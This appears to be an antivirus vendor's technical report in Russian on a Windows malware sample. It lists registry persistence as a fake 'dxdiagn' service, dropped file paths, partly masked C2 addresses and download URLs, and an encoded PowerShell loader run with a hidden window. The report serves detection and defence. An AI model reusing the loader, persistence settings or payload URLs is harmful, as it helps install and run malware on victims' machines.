Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\dxdiagn] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\dxdiagn] 'ImagePath' = '"%WINDIR%\SysWOW64\utildll\dxdiagn.exe"'
- 'dxdiagn' "%WINDIR%\SysWOW64\utildll\dxdiagn.exe"
- 'dxdiagn' %WINDIR%\SysWOW64\utildll\dxdiagn.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABGAHIAZQB0AHoANQB5AD0AKAAoACcARAAnACsAJwBrAGIAJwApACsAKAAnAGMAJwArACcANgAzACcAKQArACcAcgAnACkAOwAuACgAJwBuACcAKwAnAGUAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABlAG4AVgA6AFUAcwBlAFIAcABSAG8AZgBpAG...
- %HOMEPATH%\r0ulrrw\ae5ley5\it3o0t4d.exe
- %WINDIR%\syswow64\utildll\dxdiagn.exe
- %HOMEPATH%\r0ulrrw\ae5ley5\it3o0t4d.exe в %WINDIR%\syswow64\utildll\dxdiagn.exe
- '50.##.114.38':80
- http://pe#####lizzabili.com/images/lvyX7QK/
- http://50.##.114.38/L0Q4IR/JfRaWidt/DnbndVghuqmwR2V4qr/
- DNS ASK pe#####lizzabili.com
- '%HOMEPATH%\r0ulrrw\ae5ley5\it3o0t4d.exe'
- '%WINDIR%\syswow64\utildll\dxdiagn.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABGAHIAZQB0AHoANQB5AD0AKAAoACcARAAnACsAJwBrAGIAJwApACsAKAAnAGMAJwArACcANgAzACcAKQArACcAcgAnACkAOwAuACgAJwBuACcAKwAnAGUAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABlAG4AVgA6AFUAcwBlAFIAcABSAG8AZgBpAG...' (со скрытым окном)